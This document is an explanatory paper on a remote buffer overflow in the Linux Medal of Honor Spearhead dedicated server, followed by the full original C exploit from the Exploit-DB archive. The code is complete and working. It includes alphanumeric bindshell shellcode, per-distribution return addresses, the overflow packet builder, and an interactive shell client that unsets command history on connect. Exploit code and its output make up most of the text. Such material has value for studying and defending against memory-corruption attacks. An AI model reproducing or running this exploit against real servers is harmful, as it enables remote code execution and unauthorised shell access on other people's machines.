Medal of Honor Spearhead (Linux) Remote Buffer Overflow Explained

Medal of Honor Spearhead (Linux) Remote Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the Medal of Honor: Spearhead dedicated server for Linux. The exploit allows an attacker to send a specially crafted network packet to the server, causing it to crash or, more critically, execute arbitrary code. The provided exploit code targets specific Linux distributions and versions of the game server to achieve remote code execution, typically resulting in a bindshell.
Simple technical breakdown
The vulnerability lies in how the Medal of Honor server processes certain network requests. When it receives a malformed request, it attempts to copy data into a fixed-size buffer without properly checking the amount of data being copied. This overflow allows an attacker to overwrite adjacent memory on the stack, including the return address of the function that handled the request. By carefully crafting the overflow data, the attacker can redirect the program's execution flow to their own malicious code (shellcode) injected into the same packet.
The exploit works in a few stages:
- Information Gathering: The exploit first sends a
getstatusrequest to determine if the server is running the vulnerable version of Spearhead. - Payload Construction: It then constructs a large buffer containing:
- A network request prefix.
- Padding (NOP sled) to increase the chances of hitting the shellcode.
- The shellcode itself.
- More padding.
- The target return address, which is overwritten to point to the shellcode.
- Exploitation: This crafted buffer is sent to the server. If successful, the server's execution flow is redirected to the shellcode.
- Shell Activation: The shellcode, in this case, is designed to create a bindshell on a specific port (defaulting to 6000), allowing the attacker to connect back and gain a command shell.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
Global Variables and Data Structures:
inforeq[]:"\xff\xff\xff\xff\x02\x67\x65\x74\x69\x6E\x66\x6F\x20"- Purpose: This is a raw byte sequence representing a network packet. It's likely a command to the game server. The
\xff\xff\xff\xffmight be a packet header or identifier, followed by\x02and then the ASCII string "getinfo ". This is used by thegetinfofunction.
statusreq[]:"\xff\xff\xff\xff\x02\x67\x65\x74\x73\x74\x61\x74\x75\x73\x20\x78\x78\x78\x5C\x6E"- Purpose: Similar to
inforeq, this is another raw byte sequence for a network command. It starts with the same potential header, followed by "getstatus ". The\x78\x78\x78and\x5C\x6Eare interesting.\x5C\x6Eis likely an escaped newline character (\n). The\x78\x78\x78might be placeholder data or part of the command that gets processed. This is used by thegetinfofunction to check the server version.
findme[]:"\x33\xc9\x81\xe9\x2d\xff\xff\xff\x8b\xd4\xf7\xda\x2b\xca\x90\x90\x90\x90\x90"- Purpose: This is a small chunk of assembly instructions.
\x33\xc9:xor ecx, ecx(Initialize ECX to 0).\x81\xe9\x2d\xff\xff\xff:sub ecx, 0xffffff2d(Subtract a large negative number from ECX, effectively setting it to a positive value). This is likely part of a decoder or a way to calculate an address.\x8b\xd4:mov edx, esp(Move the current stack pointer into EDX).\xf7\xda:neg edx(Negate EDX).\x2b\xca:add edx, ecx(Add ECX to EDX). This combination of operations is often used to calculate a relative address or to find the start of the shellcode.\x90\x90\x90\x90\x90:nop(No operation) instructions. These are padding and can be used to align execution or provide a small buffer if the return address is slightly off.
- Mapping:
findme-> Used as a small preamble before the main shellcode, likely for address calculation or alignment.
shellcode[]:- A long string of seemingly random characters.
- Purpose: This is the actual shellcode. Due to the server filtering certain characters, this shellcode is likely alphanumeric, meaning it only uses characters that are considered "safe" by the server's input filters. This specific shellcode is designed to create a bindshell. It will typically:
- Perform system calls to create a socket.
- Bind the socket to a port (defaulting to 6000).
- Listen for incoming connections.
- Accept a connection.
- Duplicate file descriptors (stdin, stdout, stderr) to the connected socket.
- Execute a command shell (like
/bin/sh).
- Note: The exact assembly instructions are obfuscated by the alphanumeric encoding. The original exploit paper mentions "alpha shellcode" and the need to compile it anew for connect-back shells, reinforcing this.
- Mapping:
shellcode-> The primary payload for remote code execution, establishing a bindshell.
Struct targets[]:
struct { char *type; unsigned long ret; } targets[];- Purpose: This array stores different target systems and their corresponding return addresses. The return address is the memory location where the program should resume execution after a function returns. In this exploit, it's overwritten to point to the shellcode.
"Debian 3.0", 0xbfff30f0: A specific return address for Debian 3.0."Debian 3.1", 0xbfff2c90: For Debian 3.1."SuSE 8.1 ", 0xbfff2a90: For SuSE 8.1."SuSE 9.0 ", 0xbfff2b30: For SuSE 9.0 (also works for 8.2)."Fedora 1 ", 0xbfff2da0: For Fedora 1."Crash ", 0xdeadbeef: A target that will likely cause a crash, useful for debugging or testing.
- Mapping:
targets-> A lookup table for different operating system/distribution configurations, mapping them to specific memory addresses to overwrite the return pointer.
Functions:
usage(char *proc):- Purpose: Prints the usage instructions for the exploit program and lists the available targets with their corresponding addresses.
- Inputs:
proc(the name of the program). - Behavior: Writes to
stderrfor usage andstdoutfor target list. Exits the program with status 1. - Output: Prints to console, exits.
- Mapping:
usage-> Help and target selection interface.
getinfo(char *host, int port):- Purpose: Sends a
getstatusrequest to the target server to identify if it's a vulnerable Linux Spearhead server. It checks for "linux-i386" in the response. - Inputs:
host(target IP address or hostname),port(target port). - Behavior:
- Opens a UDP socket (
SOCK_DGRAM). - Resolves the hostname.
- Sets up the server address structure.
- Sends the
statusreqpacket. - Waits for a short period (
usleep(70000)). - Reads the response from the server.
- Searches for "linux-i386" in the response.
- Opens a UDP socket (
- Output: Returns
0if "linux-i386" is found (indicating a vulnerable Linux server), otherwise returns-1. - Mapping:
getinfo-> Server version and platform detection.
- Purpose: Sends a
shell(char *host):- Purpose: Connects to the bindshell established by the exploit and provides an interactive shell.
- Inputs:
host(target IP address or hostname). - Behavior:
- Sets up a TCP socket.
- Connects to the target host on port 6000 (the default bindshell port).
- If connection fails, prints an error and returns -1.
- Uses
select()to monitor both the socket and standard input (keyboard). - When data is received from the socket, it's printed to standard output.
- When data is entered on standard input, it's sent to the socket.
- This creates a loop for interactive command execution.
- Output: Provides an interactive command shell. Exits with code 2 on errors or EOF.
- Mapping:
shell-> Interactive command shell interface for the compromised server.
exploit(char *host, int port, int target):- Purpose: Constructs and sends the malicious buffer to the target server to trigger the buffer overflow.
- Inputs:
host(target IP address or hostname),port(target port),target(index into thetargetsarray). - Behavior:
- Opens a UDP socket.
- Resolves the hostname and sets up the server address.
- Extracts the target return address bytes from
targets[target-1].ret. - Buffer Construction:
memset(buffer, 0x00, sizeof(buffer));: Initializes the buffer to zeros.memcpy(buffer, inforeq, 13);: Copies theinforeqprefix (likely part of the initial request that triggers the overflow).memset(buffer+13, 0x90, 138);: Fills the next 138 bytes with NOP (\x90) instructions. This is the NOP sled, designed to give the execution flow a bit of leeway if the return address isn't exactly perfect.memcpy(buffer+151, findme, strlen(findme));: Copies thefindmeassembly preamble.memcpy(buffer+170, shellcode, strlen(shellcode));: Copies the actual alphanumeric shellcode.memset(buffer+995, 0x90, 42);: More NOPs, likely for alignment or to cover potential variations in stack layout.memcpy(buffer+1037, retaddr, 4);: Copies the target return address (4 bytes) at offset 1037. This is the crucial part that overwrites the legitimate return address.memcpy(buffer+1041, retaddr, 4);: Copies the return address again. This might be for redundancy or to overwrite a subsequent pointer on the stack.buffer[1046] = '\n';: Appends a newline character.
- Sends the constructed
bufferto the server via UDP. - Waits for a short period (
usleep(7000)).
- Output: Sends the exploit packet to the server.
- Mapping:
exploit-> Packet crafting and delivery to trigger the overflow.
main(int argc, char *argv[]):- Purpose: The entry point of the program. Parses command-line arguments, calls other functions, and orchestrates the exploit process.
- Inputs:
argc(argument count),argv(argument values). - Behavior:
- Prints the exploit banner.
- Parses command-line options (
-hfor host,-pfor port,-tfor target). - Validates the port and target selection.
- Calls
getinfoto check the server. - If the server is detected as vulnerable:
- Prints detected information.
- Calls
exploitto send the overflow packet. - Waits for 3 seconds (
sleep(3)). - Calls
shellto connect to the bindshell.
- If the server is not detected as vulnerable, prints an error message.
- Prints a leaving message.
- Output: Orchestrates the exploit flow, prints status messages.
- Mapping:
main-> Main execution control flow and argument parsing.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/* -------------------------------------------------------------------------------------------------
Remote buffer overflow exploit for Medal of Honor Spearhead Dedicated Server (Linux)
----------------------------------------------------------------------------------------------------
earthangel:/home/millhouse# ./mohexp -h 127.0.0.1 -p 12203 -t 1
===================================================
Medal of Honor Spearhead Dedicated server for Linux
Remote buffer overflow exploit millhouse@IRCnet
===================================================
[-] Found Spearhead 2.15 (Linux)
[-] Target: 0xbfff30f0 Debian 3.0
[-] Sending buffer...
[-] Trying to reach bindshell...
Linux earthangel 2.4.28 #1 SMP Sat Dec 25 23:50:47 CET 2004 i686 unknown
uid=1001(spearhead) gid=1000(users) groups=1000(users)
Affected versions:
------------------
This exploit was tested with Spearhead 2.15. Its the latest version and this
is the most used one. Versions lower than 2.15 are vulnerable too.
Also vulnerable:
- Allied Assault 1.11v9 and below
- Breakthrough 2.40b and below
Background:
-----------
This bug was original discovered by Luigi Auriemma in Summer 2004.
Read http://aluigi.altervista.org/adv/mohaabof-adv.txt for further
informations.
The main problem exploiting this bug is that the Medal of Honor
server is filtering a couple of characters what makes it impossible
to bring up some classical shellcode with the buffer. The only way
to make code execution possible is an alphanumeric shellcode.
Other problem is that the return address must point exactly to the
beginning of the shellcode decoder. We fixed that with a little
workaround and are now able to jump in a range of no operation
instructions. Anyway, we can't bruteforce any offsets here cause
we're exploiting the main thread so there is just one shot ;)
Note:
-----
This is a proof of concept exploit. I guess bindshells are out of date
in fact that nearly every server should be firewalled today. A connect
back shell needs individual changes like the IP and port that means u
have to compile the alpha shellcode completely new and fit it into the
buffer. Have fun dealing with this issue :)
- Thanx to nul for some assembler lessons.
- Thanx to rix@phrack for his shellcode compiler.
- Thanx to servie, error` and zakx for making different platforms available.
-------------------------------------------------------------------------------------
Everytime you spank the monkey, god kills a kitten!!
------------------------------------------------------------------------------------- */
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
char inforeq[] = "\xff\xff\xff\xff\x02"
"\x67\x65\x74\x69\x6E\x66\x6F\x20";
char statusreq[] = "\xff\xff\xff\xff\x02"
"\x67\x65\x74\x73\x74\x61\x74\x75\x73\x20\x78\x78\x78\x5C\x6E";
char findme[] = "\x33\xc9\x81\xe9\x2d\xff\xff\xff\x8b\xd4\xf7\xda\x2b\xca\x90"
"\x90\x90\x90\x90";
char shellcode[] = "h6UcnX56UcnHTTPPSQPPaVRVUWBfRJfhTdfXf50efPDfh99DRUaA0TkahOzg"
"WY1Lkb1tkbfhZufXf1Dkff1tkfjmY0Lkij2X0Dkj0tkjj3Y0LkkjLX0Dkl0T"
"kljbX0DknjEY0Lkp0Tkpf1tkqhNNAvY1Lks1TksjSY0Lkw0tkwjeX0DkyjgX"
"0Dkz0TkzC0TkzCjAX0DkzCf1tkzCCjfY0Lkz0tkzCCj5Y0Lkz0TkzCjUX0Dk"
"zCC0TkzCCfhQofYf1LkzCCjrX0DkzC0TkzCfhn2fYf1Lkzf1TkzCCC0tkzCj"
"cY0Lkz0TkzC0tkzCjPX0Dkz0TkzCjRX0DkzCjfX0Dkz0TkzC0TkzCjGX0Dkz"
"C0tkzCjpX0Dkz0TkzC0tkzCjkY0Lkz0tkzCjbX0DkzCCCjKY0Lkz0tkzC0tk"
"zCCjMY0LkzC0tkzCj4X0DkzCjCY0Lkz0tkzC0tkzCjrX0DkzC0tkzCCjaY0L"
"kzCjgY0Lkz0tkzC0TkzCCCjsX0Dkz0tkzCf1tkzCC0tkzCfhjvfXf1Dkzf1t"
"kzCCCCjkY0LkzCjIY0Lkz0tkzCCCj9X0DkzC0tkzCfhnQfXf1Dkzf1tkzCCj"
"5X0DkzC0tkzCfha4fXf1Dkzf1TkzCCjHX0DkzC0TkzCfhY4fYf1Lkzf1TkzC"
"CjeY0Lkz0TkzCjPX0DkzCjBX0Dkz0TkzC0TkzCjmX0Dkz0TkzCjPY0Lkz363"
"lsqKStI9h2sqPAC52ZBkXaEwvBnA96ipCN6m3aVKoGtFfvHOSOTbcMxqJTbm"
"dbORgtG5JxbqJOnAluMqJr4EzbVEKJwJi7fsoCHSfKJqJ";
struct {
char *type;
unsigned long ret;
} targets[] = {
{ "Debian 3.0", 0xbfff30f0 },
{ "Debian 3.1", 0xbfff2c90 },
{ "SuSE 8.1 ", 0xbfff2a90 },
{ "SuSE 9.0 ", 0xbfff2b30 }, // worx also for 8.2 fine
{ "Fedora 1 ", 0xbfff2da0 },
{ "Crash ", 0xdeadbeef },
};
void usage(char *proc)
{
int i;
fprintf(stderr, "Usage: %s <-h host> <-p port> <-t target>\n\n", proc);
fprintf(stderr, "Available targets:\n------------------\n");
for(i=0;i<6;i++)
fprintf(stdout, "%2d. %s [0x%08x]\n", i +1,
targets[i].type, (unsigned int) targets[i].ret);
fprintf(stderr, "\n");
exit(1);
}
int getinfo(char *host, int port)
{
int sockfd;
int version = -1;
char buffer[512];
struct sockaddr_in addr;
struct hostent *hp;
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) <0){
perror("can't open datagram\n");
exit(1);
}
if((hp = gethostbyname(host)) == 0){
perror("gethostbyname\n");
exit(1);
}
bzero((char *)&addr, sizeof(addr));
addr.sin_family = AF_INET;
bcopy((char *)hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
if(sendto(sockfd, statusreq, strlen(statusreq) * sizeof(char), 0,
(struct sockaddr *)&addr, sizeof(addr)) <0){
perror("sendto\n");
exit(1);
}
usleep(70000);
if(read(sockfd, buffer, sizeof(buffer)-1) <0){
perror("read\n");
exit(1);
}
if(strstr(buffer, "linux-i386")){
version = 0;
}
return version;
}
int shell(char *host)
{
fd_set fd_read;
char buffer[2048];
char *cmd = "unset HISTFILE;uname -a;id;\n";
int n, port = 6000;
int sockfd;
struct sockaddr_in addr;
struct hostent *hp;
hp = gethostbyname(host);
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) <0){
perror("can't open socket\n");
exit(1);
}
bzero((char *)&addr, sizeof(addr));
addr.sin_family = AF_INET;
bcopy((char *)hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
if(connect(sockfd, (struct sockaddr *)&addr, sizeof(addr))<0){
printf("[-] Connect to bindshell failed\n");
return -1;
}
FD_ZERO(&fd_read);
FD_SET(sockfd, &fd_read);
FD_SET(0, &fd_read);
send(sockfd, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sockfd, &fd_read);
FD_SET(0, &fd_read);
if(select(sockfd+1, &fd_read, NULL, NULL, NULL)<0)
break;
if( FD_ISSET(sockfd, &fd_read) ){
if((n = recv(sockfd, buffer, sizeof(buffer), 0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buffer, n)<0)
break;
}
if ( FD_ISSET(0, &fd_read) ) {
if((n = read(0,buffer, sizeof(buffer)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sockfd, buffer, n, 0)<0)
break;
}
usleep(10);
}
fprintf(stderr,"Connection lost.\n");
exit(0);
}
int exploit(char *host, int port, int target)
{
int sockfd;
char buffer[1046];
char retaddr[4];
struct sockaddr_in addr;
struct hostent *hp;
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) <0){
perror("can't open datagram\n");
exit(1);
}
hp = gethostbyname(host);
bzero((char *)&addr, sizeof(addr));
addr.sin_family = AF_INET;
bcopy((char *)hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
retaddr[0] = (targets[target-1].ret & 0x000000ff);
retaddr[1] = (targets[target-1].ret & 0x0000ff00)>>8;
retaddr[2] = (targets[target-1].ret & 0x00ff0000)>>16;
retaddr[3] = (targets[target-1].ret & 0xff000000)>>24;
memset(buffer, 0x00, sizeof(buffer));
memcpy(buffer, inforeq, 13);
memset(buffer+13, 0x90, 138);
memcpy(buffer+151, findme, strlen(findme));
memcpy(buffer+170, shellcode, strlen(shellcode));
memset(buffer+995, 0x90, 42);
memcpy(buffer+1037, retaddr, 4);
memcpy(buffer+1041, retaddr, 4);
buffer[1046] = '\n';
if(sendto(sockfd, buffer, strlen(buffer) * sizeof(char), 0,
(struct sockaddr *)&addr, sizeof(addr)) <0){
perror("sendto\n");
exit(1);
}
usleep(7000);
printf("[-] Trying to reach bindshell...\n\n");
}
int main(int argc, char *argv[])
{
char host[256];
int opt, port;
int ver, stat;
int target = 0;
int pid;
fprintf(stdout, "===================================================\n");
fprintf(stdout, "Medal of Honor Spearhead Dedicated server for Linux\n");
fprintf(stdout, "Remote buffer overflow exploit millhouse@IRCnet\n");
fprintf(stdout, "===================================================\n");
memset(host, 0x00, sizeof(host));
while((opt = getopt(argc, argv, "h:p:t:")) != EOF)
{
switch(opt)
{
case 'h':
strncpy(host, optarg, sizeof(host)-1);
break;
case 'p':
port = atoi(optarg);
if((port<=0) || (port > 65535)){
fprintf(stderr, "[-] Specified port invalid\n");
return(-1);
}
break;
case 't':
target = atoi(optarg);
if ((target<1) || (target>6))
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
if (strlen(host) == 0) usage(argv[0]);
ver = getinfo(host, port);
if(ver<0){
fprintf(stderr, "[-] Remote server is not a Spearhead 2.15\n");
fprintf(stderr, "[-] server or its running under Windows\n");
}
else {
printf("[-] Found Spearhead 2.15 (Linux)\n");
printf("[-] Target: 0x%08x ", (unsigned int) targets[target-1].ret);
printf("%s\n", targets[target-1].type);
printf("[-] Sending buffer...\n");
exploit(host, port, target);
sleep(3);
shell(host);
}
fprintf(stderr, "[-] Leaving...\n");
}
// milw0rm.com [2005-02-18]